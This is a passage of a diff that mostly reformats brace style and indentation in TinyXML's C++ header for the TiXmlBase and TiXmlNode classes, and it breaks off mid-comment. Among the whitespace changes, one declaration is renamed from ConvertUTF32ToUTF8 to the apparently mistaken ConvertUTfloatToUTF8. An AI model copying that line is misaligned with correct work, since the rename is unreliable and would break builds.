TIXML_DEFAULT_ENCODING = TIXML_ENCODING_UNKNOWN; @@ -193,226 +209,222 @@ const TiXmlEncoding TIXML_DEFAULT_ENCODING = TIXML_ENCODING_UNKNOWN; A Decleration contains: Attributes (not on tree) @endverbatim */ -class TiXmlBase -{ - friend class TiXmlNode; - friend class TiXmlElement; - friend class TiXmlDocument; +class TiXmlBase { + friend class TiXmlNode; + friend class TiXmlElement; + friend class TiXmlDocument; public: - TiXmlBase() : userData(0) {} - virtual ~TiXmlBase() {} + TiXmlBase() : userData(0) {} + virtual ~TiXmlBase() {} - /** All TinyXml classes can print themselves to a filestream - or the string class (TiXmlString in non-STL mode, std::string - in STL mode.) Either or both cfile and str can be null. + /** All TinyXml classes can print themselves to a filestream + or the string class (TiXmlString in non-STL mode, std::string + in STL mode.) Either or both cfile and str can be null. - This is a formatted print, and will insert - tabs and newlines. + This is a formatted print, and will insert + tabs and newlines. - (For an unformatted stream, use the << operator.) - */ - virtual void Print( FILE* cfile, int depth ) const = 0; + (For an unformatted stream, use the << operator.) + */ + virtual void Print( FILE* cfile, int depth ) const = 0; - /** The world does not agree on whether white space should be kept or - not. In order to make everyone happy, these global, static functions - are provided to set whether or not TinyXml will condense all white space - into a single space or not. The default is to condense. Note changing this - value is not thread safe. - */ - static void SetCondenseWhiteSpace( bool condense ) { condenseWhiteSpace = condense; } + /** The world does not agree on whether white space should be kept or + not. In order to make everyone happy, these global, static functions + are provided to set whether or not TinyXml will condense all white space + into a single space or not. The default is to condense. Note changing this + value is not thread safe. + */ + static void SetCondenseWhiteSpace( bool condense ) { + condenseWhiteSpace = condense; + } - /// Return the current white space setting. - static bool IsWhiteSpaceCondensed() { return condenseWhiteSpace; } + /// Return the current white space setting. + static bool IsWhiteSpaceCondensed() { + return condenseWhiteSpace; + } - /** Return the position, in the original source file, of this node or attribute. - The row and column are 1-based. (That is the first row and first column is - 1,1). If the returns values are 0 or less, then the parser does not have - a row and column value. + /** Return the position, in the original source file, of this node or attribute. + The row and column are 1-based. (That is the first row and first column is + 1,1). If the returns values are 0 or less, then the parser does not have + a row and column value. - Generally, the row and column value will be set when the TiXmlDocument::Load(), - TiXmlDocument::LoadFile(), or any TiXmlNode::Parse() is called. It will NOT be set - when the DOM was created from operator>>. + Generally, the row and column value will be set when the TiXmlDocument::Load(), + TiXmlDocument::LoadFile(), or any TiXmlNode::Parse() is called. It will NOT be set + when the DOM was created from operator>>. - The values reflect the initial load. Once the DOM is modified programmatically - (by adding or changing nodes and attributes) the new values will NOT update to - reflect changes in the document. + The values reflect the initial load. Once the DOM is modified programmatically + (by adding or changing nodes and attributes) the new values will NOT update to + reflect changes in the document. - There is a minor performance cost to computing the row and column. Computation - can be disabled if TiXmlDocument::SetTabSize() is called with 0 as the value. + There is a minor performance cost to computing the row and column. Computation + can be disabled if TiXmlDocument::SetTabSize() is called with 0 as the value. - @sa TiXmlDocument::SetTabSize() - */ - int Row() const { return location.row + 1; } - int Column() const { return location.col + 1; } ///< See Row() + @sa TiXmlDocument::SetTabSize() + */ + int Row() const { + return location.row + 1; + } + int Column() const { + return location.col + 1; ///< See Row() + } - void SetUserData( void* user ) { userData = user; } ///< Set a pointer to arbitrary user data. - void* GetUserData() { return userData; } ///< Get a pointer to arbitrary user data. - const void* GetUserData() const { return userData; } ///< Get a pointer to arbitrary user data. + void SetUserData( void* user ) { + userData = user; ///< Set a pointer to arbitrary user data. + } + void* GetUserData() { + return userData; ///< Get a pointer to arbitrary user data. + } + const void* GetUserData() const { + return userData; ///< Get a pointer to arbitrary user data. + } - // Table that returs, for a given lead byte, the total number of bytes - // in the UTF-8 sequence. - static const int utf8ByteTable[256]; + // Table that returs, for a given lead byte, the total number of bytes + // in the UTF-8 sequence. + static const int utf8ByteTable[256]; - virtual const char* Parse( const char* p, - TiXmlParsingData* data, - TiXmlEncoding encoding /*= TIXML_ENCODING_UNKNOWN */ ) = 0; + virtual const char* Parse( const char* p, + TiXmlParsingData* data, + TiXmlEncoding encoding /*= TIXML_ENCODING_UNKNOWN */ ) = 0; - /** Expands entities in a string. Note this should not contian the tag's '<', '>', etc, - or they will be transformed into entities! - */ - static void EncodeString( const TIXML_STRING& str, TIXML_STRING* out ); + /** Expands entities in a string. Note this should not contian the tag's '<', '>', etc, + or they will be transformed into entities! + */ + static void EncodeString( const TIXML_STRING& str, TIXML_STRING* out ); - enum - { - TIXML_NO_ERROR = 0, - TIXML_ERROR, - TIXML_ERROR_OPENING_FILE, - TIXML_ERROR_PARSING_ELEMENT, - TIXML_ERROR_FAILED_TO_READ_ELEMENT_NAME, - TIXML_ERROR_READING_ELEMENT_VALUE, - TIXML_ERROR_READING_ATTRIBUTES, - TIXML_ERROR_PARSING_EMPTY, - TIXML_ERROR_READING_END_TAG, - TIXML_ERROR_PARSING_UNKNOWN, - TIXML_ERROR_PARSING_COMMENT, - TIXML_ERROR_PARSING_DECLARATION, - TIXML_ERROR_DOCUMENT_EMPTY, - TIXML_ERROR_EMBEDDED_NULL, - TIXML_ERROR_PARSING_CDATA, - TIXML_ERROR_DOCUMENT_TOP_ONLY, + enum { + TIXML_NO_ERROR = 0, + TIXML_ERROR, + TIXML_ERROR_OPENING_FILE, + TIXML_ERROR_PARSING_ELEMENT, + TIXML_ERROR_FAILED_TO_READ_ELEMENT_NAME, + TIXML_ERROR_READING_ELEMENT_VALUE, + TIXML_ERROR_READING_ATTRIBUTES, + TIXML_ERROR_PARSING_EMPTY, + TIXML_ERROR_READING_END_TAG, + TIXML_ERROR_PARSING_UNKNOWN, + TIXML_ERROR_PARSING_COMMENT, + TIXML_ERROR_PARSING_DECLARATION, + TIXML_ERROR_DOCUMENT_EMPTY, + TIXML_ERROR_EMBEDDED_NULL, + TIXML_ERROR_PARSING_CDATA, + TIXML_ERROR_DOCUMENT_TOP_ONLY, - TIXML_ERROR_STRING_COUNT - }; + TIXML_ERROR_STRING_COUNT + }; protected: - static const char* SkipWhiteSpace( const char*, TiXmlEncoding encoding ); + static const char* SkipWhiteSpace( const char*, TiXmlEncoding encoding ); - inline static bool IsWhiteSpace( char c ) - { - return ( isspace( (unsigned char) c ) || c == '\n' || c == '\r' ); - } - inline static bool IsWhiteSpace( int c ) - { - if ( c < 256 ) - return IsWhiteSpace( (char) c ); - return false; // Again, only truly correct for English/Latin...but usually works. - } + inline static bool IsWhiteSpace( char c ) { + return ( isspace( (unsigned char) c ) || c == '\n' || c == '\r' ); + } + inline static bool IsWhiteSpace( int c ) { + if ( c < 256 ) + return IsWhiteSpace( (char) c ); + return false; // Again, only truly correct for English/Latin...but usually works. + } - #ifdef TIXML_USE_STL - static bool StreamWhiteSpace( std::istream * in, TIXML_STRING * tag ); - static bool StreamTo( std::istream * in, int character, TIXML_STRING * tag ); - #endif +#ifdef TIXML_USE_STL + static bool StreamWhiteSpace( std::istream * in, TIXML_STRING * tag ); + static bool StreamTo( std::istream * in, int character, TIXML_STRING * tag ); +#endif - /* Reads an XML name into the string provided. Returns - a pointer just past the last character of the name, - or 0 if the function has an error. - */ - static const char* ReadName( const char* p, TIXML_STRING* name, TiXmlEncoding encoding ); + /* Reads an XML name into the string provided. Returns + a pointer just past the last character of the name, + or 0 if the function has an error. + */ + static const char* ReadName( const char* p, TIXML_STRING* name, TiXmlEncoding encoding ); - /* Reads text. Returns a pointer past the given end tag. - Wickedly complex options, but it keeps the (sensitive) code in one place. - */ - static const char* ReadText( const char* in, // where to start - TIXML_STRING* text, // the string read - bool ignoreWhiteSpace, // whether to keep the white space - const char* endTag, // what ends this text - bool ignoreCase, // whether to ignore case in the end tag - TiXmlEncoding encoding ); // the current encoding + /* Reads text. Returns a pointer past the given end tag. + Wickedly complex options, but it keeps the (sensitive) code in one place. + */ + static const char* ReadText( const char* in, // where to start + TIXML_STRING* text, // the string read + bool ignoreWhiteSpace, // whether to keep the white space + const char* endTag, // what ends this text + bool ignoreCase, // whether to ignore case in the end tag + TiXmlEncoding encoding ); // the current encoding - // If an entity has been found, transform it into a character. - static const char* GetEntity( const char* in, char* value, int* length, TiXmlEncoding encoding ); + // If an entity has been found, transform it into a character. + static const char* GetEntity( const char* in, char* value, int* length, TiXmlEncoding encoding ); - // Get a character, while interpreting entities. - // The length can be from 0 to 4 bytes. - inline static const char* GetChar( const char* p, char* _value, int* length, TiXmlEncoding encoding ) - { - assert( p ); - if ( encoding == TIXML_ENCODING_UTF8 ) - { - *length = utf8ByteTable[ *((const unsigned char*)p) ]; - assert( *length >= 0 && *length < 5 ); - } - else - { - *length = 1; - } + // Get a character, while interpreting entities. + // The length can be from 0 to 4 bytes. + inline static const char* GetChar( const char* p, char* _value, int* length, TiXmlEncoding encoding ) { + assert( p ); + if ( encoding == TIXML_ENCODING_UTF8 ) { + *length = utf8ByteTable[ *((const unsigned char*)p) ]; + assert( *length >= 0 && *length < 5 ); + } else { + *length = 1; + } - if ( *length == 1 ) - { - if ( *p == '&' ) - return GetEntity( p, _value, length, encoding ); - *_value = *p; - return p+1; - } - else if ( *length ) - { - //strncpy( _value, p, *length ); // lots of compilers don't like this function (unsafe), - // and the null terminator isn't needed - for( int i=0; p[i] && i<*length; ++i ) { - _value[i] = p[i]; - } - return p + (*length); - } - else - { - // Not valid text. - return 0; - } - } + if ( *length == 1 ) { + if ( *p == '&' ) + return GetEntity( p, _value, length, encoding ); + *_value = *p; + return p+1; + } else if ( *length ) { + //strncpy( _value, p, *length ); // lots of compilers don't like this function (unsafe), + // and the null terminator isn't needed + for( int i=0; p[i] && i<*length; ++i ) { + _value[i] = p[i]; + } + return p + (*length); + } else { + // Not valid text. + return 0; + } + } - // Return true if the next characters in the stream are any of the endTag sequences. - // Ignore case only works for english, and should only be relied on when comparing - // to English words: StringEqual( p, "version", true ) is fine. - static bool StringEqual( const char* p, - const char* endTag, - bool ignoreCase, - TiXmlEncoding encoding ); + // Return true if the next characters in the stream are any of the endTag sequences. + // Ignore case only works for english, and should only be relied on when comparing + // to English words: StringEqual( p, "version", true ) is fine. + static bool StringEqual( const char* p, + const char* endTag, + bool ignoreCase, + TiXmlEncoding encoding ); - static const char* errorString[ TIXML_ERROR_STRING_COUNT ]; + static const char* errorString[ TIXML_ERROR_STRING_COUNT ]; - TiXmlCursor location; + TiXmlCursor location; - /// Field containing a generic user pointer - void* userData; + /// Field containing a generic user pointer + void* userData; - // None of these methods are reliable for any language except English. - // Good for approximation, not great for accuracy. - static int IsAlpha( unsigned char anyByte, TiXmlEncoding encoding ); - static int IsAlphaNum( unsigned char anyByte, TiXmlEncoding encoding ); - inline static int ToLower( int v, TiXmlEncoding encoding ) - { - if ( encoding == TIXML_ENCODING_UTF8 ) - { - if ( v < 128 ) return tolower( v ); - return v; - } - else - { - return tolower( v ); - } - } - static void ConvertUTF32ToUTF8( unsigned long input, char* output, int* length ); + // None of these methods are reliable for any language except English. + // Good for approximation, not great for accuracy. + static int IsAlpha( unsigned char anyByte, TiXmlEncoding encoding ); + static int IsAlphaNum( unsigned char anyByte, TiXmlEncoding encoding ); + inline static int ToLower( int v, TiXmlEncoding encoding ) { + if ( encoding == TIXML_ENCODING_UTF8 ) { + if ( v < 128 ) + return tolower( v ); + return v; + } else { + return tolower( v ); + } + } + static void ConvertUTfloatToUTF8( unsigned long input, char* output, int* length ); private: - TiXmlBase( const TiXmlBase& ); // not implemented. - void operator=( const TiXmlBase& base ); // not allowed. + TiXmlBase( const TiXmlBase& ); // not implemented. + void operator=( const TiXmlBase& base ); // not allowed. - struct Entity - { - const char* str; - unsigned int strLength; - char chr; - }; - enum - { - NUM_ENTITY = 5, - MAX_ENTITY_LENGTH = 6 + struct Entity { + const char* str; + unsigned int strLength; + char chr; + }; + enum { + NUM_ENTITY = 5, + MAX_ENTITY_LENGTH = 6 - }; - static Entity entity[ NUM_ENTITY ]; - static bool condenseWhiteSpace; + }; + static Entity entity[ NUM_ENTITY ]; + static bool condenseWhiteSpace; }; @@ -422,352 +434,436 @@ private: in a document, or stand on its own. The type of a TiXmlNode can be queried, and it can be cast to its more defined type. */ -class TiXmlNode : public TiXmlBase -{ - friend class TiXmlDocument; - friend class TiXmlElement; +class TiXmlNode : public TiXmlBase { + friend class TiXmlDocument; + friend class TiXmlElement; public: - #ifdef TIXML_USE_STL +#ifdef TIXML_USE_STL - /** An input stream operator, for every class. Tolerant of newlines and - formatting, but doesn't expect them. - */ - friend std::istream& operator >> (std::istream& in, TiXmlNode& base); + /** An input stream operator, for every class. Tolerant of newlines and + formatting, but doesn't expect them. + */ + friend std::istream& operator >> (std::istream& in, TiXmlNode& base); - /** An output stream operator, for every class. Note that this outputs - without any newlines or formatting, as opposed to Print(), which - includes tabs and new lines. + /** An output stream operator, for every class. Note that this outputs + without any newlines or formatting, as opposed to Print(), which + includes tabs and new lines. - The operator<< and operator>> are not completely symmetric. Writing - a node to a stream is very well defined. You'll get a nice stream - of output, without any extra whitespace or newlines. + The operator<< and operator>> are not completely symmetric. Writing + a node to a stream is very well defined. You'll get a nice stream + of output, without any extra whitespace or newlines. - But reading is not as well defined. (As it always is.) If you create - a TiXmlElement (for example) and read that from an input stream, - the text needs to define an element or junk will result. This is - true of all input streams, but it's worth keeping in mind. + But reading is not as well defined. (As it always is.) If you create + a TiXmlElement (for example) and read that from an input stream, + the text needs to define an element or junk will result. This is + true of all input streams, but it's worth keeping in mind. - A TiXmlDocument will read nodes until it reads a root element, and - all the children of that root element. - */ - friend std::ostream& operator<< (std::ostream& out, const TiXmlNode& base); + A TiXmlDocument will read nodes until it reads a root element, and + all the children of that root element. + */ + friend std::ostream& operator<< (std::ostream& out, const TiXmlNode& base); - /// Appends the XML node or attribute to a std::string. - friend std::string& operator<< (std::string& out, const TiXmlNode& base ); + /// Appends the XML node or attribute to a std::string. + friend std::string& operator<< (std::string& out, const TiXmlNode& base ); - #endif +#endif - /** The types of XML nodes supported by TinyXml. (All the - unsupported types are picked up by UNKNOWN.) - */ - enum NodeType - { - TINYXML_DOCUMENT, - TINYXML_ELEMENT, - TINYXML_COMMENT, - TINYXML_UNKNOWN, - TINYXML_TEXT, - TINYXML_DECLARATION, - TINYXML_TYPECOUNT - }; + /** The types of XML nodes supported by TinyXml. (All the + unsupported types are picked up by UNKNOWN.) + */ + enum NodeType { + TINYXML_DOCUMENT, + TINYXML_ELEMENT, + TINYXML_COMMENT, + TINYXML_UNKNOWN, + TINYXML_TEXT, + TINYXML_DECLARATION, + TINYXML_TYPECOUNT + }; - virtual ~TiXmlNode(); + virtual ~TiXmlNode(); - /** The meaning of 'value' changes for the specific type of - TiXmlNode. - @verbatim - Document: filename of the xml file - Element: name of the element - Comment: the comment text - Unknown: the tag contents - Text: the text string - @endverbatim + /** The meaning of 'value' changes for the specific type of + TiXmlNode. + @verbatim + Document: filename of the xml file + Element: name of the element + Comment: the comment text + Unknown: the tag contents + Text: the text string + @endverbatim - The subclasses will wrap this function. - */ - const char *Value() const { return value.c_str (); } + The subclasses will wrap this function. + */ + const char *Value() const { + return value.c_str (); + } - #ifdef TIXML_USE_STL - /** Return Value() as a std::string. If you only use STL, - this is more efficient than calling Value(). - Only available in STL mode. - */ - const std::string& ValueStr() const { return value; } - #endif +#ifdef TIXML_USE_STL + /** Return Value() as a std::string. If you only use STL, + this is more efficient than calling Value(). + Only available in STL mode. + */ + const std::string& ValueStr() const { + return value; + } +#endif - const TIXML_STRING& ValueTStr() const { return value; } + const TIXML_STRING& ValueTStr() const { + return value; + } - /** Changes the value of the node. Defined as: - @verbatim - Document: filename of the xml file - Element: name of the element - Comment: the comment text - Unknown: the tag contents - Text: the text string - @endverbatim - */ - void SetValue(const char * _value) { value = _value;} + /** Changes the value of the node. Defined as: + @verbatim + Document: filename of the xml file + Element: name of the element + Comment: the comment text + Unknown: the tag contents + Text: the text string + @endverbatim + */ + void SetValue(const char * _value) { + value = _value; + } - #ifdef TIXML_USE_STL - /// STL std::string form. - void SetValue( const std::string& _value ) { value = _value; } - #endif +#ifdef TIXML_USE_STL + /// STL std::string form. + void SetValue( const std::string& _value ) { + value = _value; + } +#endif - /// Delete all the children of this node. Does not affect 'this'. - void Clear(); + /// Delete all the children of this node. Does not affect 'this'. + void Clear(); - /// One step up the DOM. - TiXmlNode* Parent() { return parent; } - const TiXmlNode* Parent() const { return parent; } + /// One step up the DOM. + TiXmlNode* Parent() { + return parent; + } + const TiXmlNode* Parent() const { + return parent; + } - const TiXmlNode* FirstChild() const { return firstChild; } ///< The first child of this node. Will be null if there are no children. - TiXmlNode* FirstChild() { return firstChild; } - const TiXmlNode* FirstChild( const char * value ) const; ///< The first child of this node with the matching 'value'. Will be null if none found. - /// The first child of this node with the matching 'value'. Will be null if none found. - TiXmlNode* FirstChild( const char * _value ) { - // Call through to the const version - safe since nothing is changed. Exiting syntax: cast this to a const (always safe) - // call the method, cast the return back to non-const. - return const_cast< TiXmlNode* > ((const_cast< const TiXmlNode* >(this))->FirstChild( _value )); - } - const TiXmlNode* LastChild() const { return lastChild; } /// The last child of this node. Will be null if there are no children. - TiXmlNode* LastChild() { return lastChild; } + const TiXmlNode* FirstChild() const { + return firstChild; ///< The first child of this node. Will be null if there are no children. + } + TiXmlNode* FirstChild() { + return firstChild; + } + const TiXmlNode* FirstChild( const char * value ) const; ///< The first child of this node with the matching 'value'. Will be null if none found. + /// The first child of this node with the matching 'value'. Will be null if none found. + TiXmlNode* FirstChild( const char * _value ) { + // Call through to the const version - safe since nothing is changed. Exiting syntax: cast this to a const (always safe) + // call the method, cast the return back to non-const. + return const_cast< TiXmlNode* > ((const_cast< const TiXmlNode* >(this))->FirstChild( _value )); + } + const TiXmlNode* LastChild() const { + return lastChild; /// The last child of this node. Will be null if there are no children. + } + TiXmlNode* LastChild() { + return lastChild; + } - const TiXmlNode* LastChild( const char * value ) const; /// The last child of this node matching 'value'. Will be null if there are no children. - TiXmlNode* LastChild( const char * _value ) { - return const_cast< TiXmlNode* > ((const_cast< const TiXmlNode* >(this))->LastChild( _value )); - } + const TiXmlNode* LastChild( const char * value ) const; /// The last child of this node matching 'value'. Will be null if there are no children. + TiXmlNode* LastChild( const char * _value ) { + return const_cast< TiXmlNode* > ((const_cast< const TiXmlNode* >(this))->LastChild( _value )); + } - #ifdef TIXML_USE_STL - const TiXmlNode* FirstChild( const std::string& _value ) const { return FirstChild (_value.c_str ()); } ///< STL std::string form. - TiXmlNode* FirstChild( const std::string& _value ) { return FirstChild (_value.c_str ()); } ///< STL std::string form. - const TiXmlNode* LastChild( const std::string& _value ) const { return LastChild (_value.c_str ()); } ///< STL std::string form. - TiXmlNode* LastChild( const std::string& _value ) { return LastChild (_value.c_str ()); } ///< STL std::string form. - #endif +#ifdef TIXML_USE_STL + const TiXmlNode* FirstChild( const std::string& _value ) const { + return FirstChild (_value.c_str ()); ///< STL std::string form. + } + TiXmlNode* FirstChild( const std::string& _value ) { + return FirstChild (_value.c_str ()); ///< STL std::string form. + } + const TiXmlNode* LastChild( const std::string& _value ) const { + return LastChild (_value.c_str ()); ///< STL std::string form. + } + TiXmlNode* LastChild( const std::string& _value ) { + return LastChild (_value.c_str ()); ///< STL std::string form. + } +#endif - /** An alternate way to walk the children of a node. - One way to iterate over nodes is: - @verbatim - for( child = parent->FirstChild(); child; child = child->NextSibling() ) - @endverbatim + /** An alternate way to walk the children of a node. + One way to iterate over nodes is: + @verbatim + for( child = parent->FirstChild(); child; child = child->NextSibling() ) + @endverbatim - IterateChildren does the same thing with the syntax: - @verbatim - child = 0; - while( child = parent->IterateChildren( child ) ) - @endverbatim + IterateChildren does the same thing with the syntax: + @verbatim + child = 0; + while( child = parent->IterateChildren( child ) ) + @endverbatim - IterateChildren takes the previous child as input and finds - the next one. If the previous child is null, it returns the - first. IterateChildren will return null when done. - */ - const TiXmlNode* IterateChildren( const TiXmlNode* previous ) const; - TiXmlNode* IterateChildren( const TiXmlNode* previous ) { - return const_cast< TiXmlNode* >( (const_cast< const TiXmlNode* >(this))->IterateChildren( previous ) ); - } + IterateChildren takes the previous child as input and finds + the next one. If the previous child is null, it returns the + first. IterateChildren will return null when done. + */ + const TiXmlNode* IterateChildren( const TiXmlNode* previous ) const; + TiXmlNode* IterateChildren( const TiXmlNode* previous ) { + return const_cast< TiXmlNode* >( (const_cast< const TiXmlNode* >(this))->IterateChildren( previous ) ); + } - /// This flavor of IterateChildren searches for children with a particular 'value' - const TiXmlNode* IterateChildren( const char * value, const TiXmlNode* previous ) const; - TiXmlNode* IterateChildren( const char * _value, const TiXmlNode* previous ) { - return const_cast< TiXmlNode* >( (const_cast< const TiXmlNode* >(this))->IterateChildren( _value, previous ) ); - } + /// This flavor of IterateChildren searches for children with a particular 'value' + const TiXmlNode* IterateChildren( const char * value, const TiXmlNode* previous ) const; + TiXmlNode* IterateChildren( const char * _value, const TiXmlNode* previous ) { + return const_cast< TiXmlNode* >( (const_cast< const TiXmlNode* >(this))->IterateChildren( _value, previous ) ); + } - #ifdef TIXML_USE_STL - const TiXmlNode* IterateChildren( const std::string& _value, const TiXmlNode* previous ) const { return IterateChildren (_value.c_str (), previous); } ///< STL std::string form. - TiXmlNode* IterateChildren( const std::string& _value, const TiXmlNode* previous ) { return IterateChildren (_value.c_str (), previous); } ///< STL std::string form. - #endif +#ifdef TIXML_USE_STL + const TiXmlNode* IterateChildren( const std::string& _value, const TiXmlNode* previous ) const { + return IterateChildren (_value.c_str (), previous); ///< STL std::string form. + } + TiXmlNode* IterateChildren( const std::string& _value, const TiXmlNode* previous ) { + return IterateChildren (_value.c_str (), previous); ///< STL std::string form. + } +#endif - /** Add a new node related to this. Adds a child past the LastChild. - Returns a pointer to the new object or NULL if an error occured. - */ - TiXmlNode* InsertEndChild( const TiXmlNode& addThis ); + /** Add a new node related to this. Adds a child past the LastChild. + Returns a pointer to the new object or NULL if an error occured. + */ + TiXmlNode* InsertEndChild( const TiXmlNode& addThis ); - /** Add a new node related to this. Adds a child past the LastChild. + /** Add a new node related to this. Adds a child past the LastChild. - NOTE: the node to be added is passed by pointer, and will be - henceforth owned (and deleted) by tinyXml. This method is efficient - and avoids an extra copy, but should be used with care as it - uses a different memory model than the other insert functions. + NOTE: the node to be added is passed by pointer, and will be + henceforth owned (and deleted) by tinyXml. This method is efficient + and avoids an extra copy, but should be used with care as it + uses a different memory model than the other insert functions. - @sa InsertEndChild - */ - TiXmlNode* LinkEndChild( TiXmlNode* addThis ); + @sa InsertEndChild + */ + TiXmlNode* LinkEndChild( TiXmlNode* addThis ); - /** Add a new node related to this. Adds a child before the specified child. - Returns a pointer to the new object or NULL if an error occured. - */ - TiXmlNode* InsertBeforeChild( TiXmlNode* beforeThis, const TiXmlNode& addThis ); + /** Add a new node related to this. Adds a child before the specified child. + Returns a pointer to the new object or NULL if an error occured. + */ + TiXmlNode* InsertBeforeChild( TiXmlNode* beforeThis, const TiXmlNode& addThis ); - /** Add a new node related to this. Adds a child after the specified child. - Returns a pointer to the new object or NULL if an error occured. - */ - TiXmlNode* InsertAfterChild( TiXmlNode* afterThis, const TiXmlNode& addThis ); + /** Add a new node related to this. Adds a child after the specified child. + Returns a pointer to the new object or NULL if an error occured. + */ + TiXmlNode* InsertAfterChild( TiXmlNode* afterThis, const TiXmlNode& addThis ); - /** Replace a child of this node. - Returns a pointer to the new object or NULL if an error occured. - */ - TiXmlNode* ReplaceChild( TiXmlNode* replaceThis, const TiXmlNode& withThis ); + /** Replace a child of this node. + Returns a pointer to the new object or NULL if an error occured. + */ + TiXmlNode* ReplaceChild( TiXmlNode* replaceThis, const TiXmlNode& withThis ); - /// Delete a child of this node. - bool RemoveChild( TiXmlNode* removeThis ); + /// Delete a child of this node. + bool RemoveChild( TiXmlNode* removeThis ); - /// Navigate to a sibling node. - const TiXmlNode* PreviousSibling() const { return prev; } - TiXmlNode* PreviousSibling() { return prev; } + /// Navigate to a sibling node. + const TiXmlNode* PreviousSibling() const { + return prev; + } + TiXmlNode* PreviousSibling() { + return prev; + } - /// Navigate to a sibling node. - const TiXmlNode* PreviousSibling( const char * ) const; - TiXmlNode* PreviousSibling( const char *_prev ) { - return const_cast< TiXmlNode* >( (const_cast< const TiXmlNode* >(this))->PreviousSibling( _prev ) ); - } + /// Navigate to a sibling node. + const TiXmlNode* PreviousSibling( const char * ) const; + TiXmlNode* PreviousSibling( const char *_prev ) { + return const_cast< TiXmlNode* >( (const_cast< const TiXmlNode* >(this))->PreviousSibling( _prev ) ); + } - #ifdef TIXML_USE_STL - const TiXmlNode* PreviousSibling( const std::string& _value ) const { return PreviousSibling (_value.c_str ()); } ///< STL std::string form. - TiXmlNode* PreviousSibling( const std::string& _value ) { return PreviousSibling (_value.c_str ()); } ///< STL std::string form. - const TiXmlNode* NextSibling( const std::string& _value) const { return NextSibling (_value.c_str ()); } ///< STL std::string form. - TiXmlNode* NextSibling( const std::string& _value) { return NextSibling (_value.c_str ()); } ///< STL std::string form. - #endif +#ifdef TIXML_USE_STL + const TiXmlNode* PreviousSibling( const std::string& _value ) const { + return PreviousSibling (_value.c_str ()); ///< STL std::string form. + } + TiXmlNode* PreviousSibling( const std::string& _value ) { + return PreviousSibling (_value.c_str ()); ///< STL std::string form. + } + const TiXmlNode* NextSibling( const std::string& _value) const { + return NextSibling (_value.c_str ()); ///< STL std::string form. + } + TiXmlNode* NextSibling( const std::string& _value) { + return NextSibling (_value.c_str ()); ///< STL std::string form. + } +#endif - /// Navigate to a sibling node. - const TiXmlNode* NextSibling() const { return next; } - TiXmlNode* NextSibling() { return next; } + /// Navigate to a sibling node. + const TiXmlNode* NextSibling() const { + return next; + } + TiXmlNode* NextSibling() { + return next; + } - /// Navigate to a sibling node with the given 'value'. - const TiXmlNode* NextSibling( const char * ) const; - TiXmlNode* NextSibling( const char* _next ) { - return const_cast< TiXmlNode* >( (const_cast< const TiXmlNode* >(this))->NextSibling( _next ) ); - } + /// Navigate to a sibling node with the given 'value'. + const TiXmlNode* NextSibling( const char * ) const; + TiXmlNode* NextSibling( const char* _next ) { + return const_cast< TiXmlNode* >( (const_cast< const TiXmlNode* >(this))->NextSibling( _next ) ); + } - /** Convenience function to get through elements. - Calls NextSibling and ToElement. Will skip all non-Element - nodes. Returns 0 if there is not another element. - */ - const TiXmlElement* NextSiblingElement() const; - TiXmlElement* NextSiblingElement() { - return const_cast< TiXmlElement* >( (const_cast< const TiXmlNode* >(this))->NextSiblingElement() ); - } + /** Convenience function to get through elements. + Calls NextSibling and ToElement. Will skip all non-Element + nodes. Returns 0 if there is not another element. + */ + const TiXmlElement* NextSiblingElement() const; + TiXmlElement* NextSiblingElement() { + return const_cast< TiXmlElement* >( (const_cast< const TiXmlNode* >(this))->NextSiblingElement() ); + } - /** Convenience function to get through elements. - Calls NextSibling and ToElement. Will skip all non-Element - nodes. Returns 0 if there is not another element. - */ - const TiXmlElement* NextSiblingElement( const char * ) const; - TiXmlElement* NextSiblingElement( const char *_next ) { - return const_cast< TiXmlElement* >( (const_cast< const TiXmlNode* >(this))->NextSiblingElement( _next ) ); - } + /** Convenience function to get through elements. + Calls NextSibling and ToElement. Will skip all non-Element + nodes. Returns 0 if there is not another element. + */ + const TiXmlElement* NextSiblingElement( const char * ) const; + TiXmlElement* NextSiblingElement( const char *_next ) { + return const_cast< TiXmlElement* >( (const_cast< const TiXmlNode* >(this))->NextSiblingElement( _next ) ); + } - #ifdef TIXML_USE_STL - const TiXmlElement* NextSiblingElement( const std::string& _value) const { return NextSiblingElement (_value.c_str ()); } ///< STL std::string form. - TiXmlElement* NextSiblingElement( const std::string& _value) { return NextSiblingElement (_value.c_str ()); } ///< STL std::string form. - #endif +#ifdef TIXML_USE_STL + const TiXmlElement* NextSiblingElement( const std::string& _value) const { + return NextSiblingElement (_value.c_str ()); ///< STL std::string form. + } + TiXmlElement* NextSiblingElement( const std::string& _value) { + return NextSiblingElement (_value.c_str ()); ///< STL std::string form. + } +#endif - /// Convenience function to get through elements. - const TiXmlElement* FirstChildElement() const; - TiXmlElement* FirstChildElement() { - return const_cast< TiXmlElement* >( (const_cast< const TiXmlNode* >(this))->FirstChildElement() ); - } + /// Convenience function to get through elements. + const TiXmlElement* FirstChildElement() const; + TiXmlElement* FirstChildElement() { + return const_cast< TiXmlElement* >( (const_cast< const TiXmlNode* >(this))->FirstChildElement() ); + } - /// Convenience function to get through elements. - const TiXmlElement* FirstChildElement( const char * _value ) const; - TiXmlElement* FirstChildElement( const char * _value ) { - return const_cast< TiXmlElement* >( (const_cast< const TiXmlNode* >(this))->FirstChildElement( _value ) ); - } + /// Convenience function to get through elements. + const TiXmlElement* FirstChildElement( const char * _value ) const; + TiXmlElement* FirstChildElement( const char * _value ) { + return const_cast< TiXmlElement* >( (const_cast< const TiXmlNode* >(this))->FirstChildElement( _value ) ); + } - #ifdef TIXML_USE_STL - const TiXmlElement* FirstChildElement( const std::string& _value ) const { return FirstChildElement (_value.c_str ()); } ///< STL std::string form. - TiXmlElement* FirstChildElement( const std::string& _value ) { return FirstChildElement (_value.c_str ()); } ///< STL std::string form. - #endif +#ifdef TIXML_USE_STL + const TiXmlElement* FirstChildElement( const std::string& _value ) const { + return FirstChildElement (_value.c_str ()); ///< STL std::string form. + } + TiXmlElement* FirstChildElement( const std::string& _value ) { + return FirstChildElement (_value.c_str ()); ///< STL std::string form. + } +#endif - /** Query the type (as an enumerated value, above) of this node. - The possible types are: TINYXML_DOCUMENT, TINYXML_ELEMENT, TINYXML_COMMENT, - TINYXML_UNKNOWN, TINYXML_TEXT, and TINYXML_DECLARATION. - */ - int Type() const { return type; } + /** Query the type (as an enumerated value, above) of this node. + The possible types are: TINYXML_DOCUMENT, TINYXML_ELEMENT, TINYXML_COMMENT, + TINYXML_UNKNOWN, TINYXML_TEXT, and TINYXML_DECLARATION. + */ + int Type() const { + return type; + } - /** Return a pointer to the Document 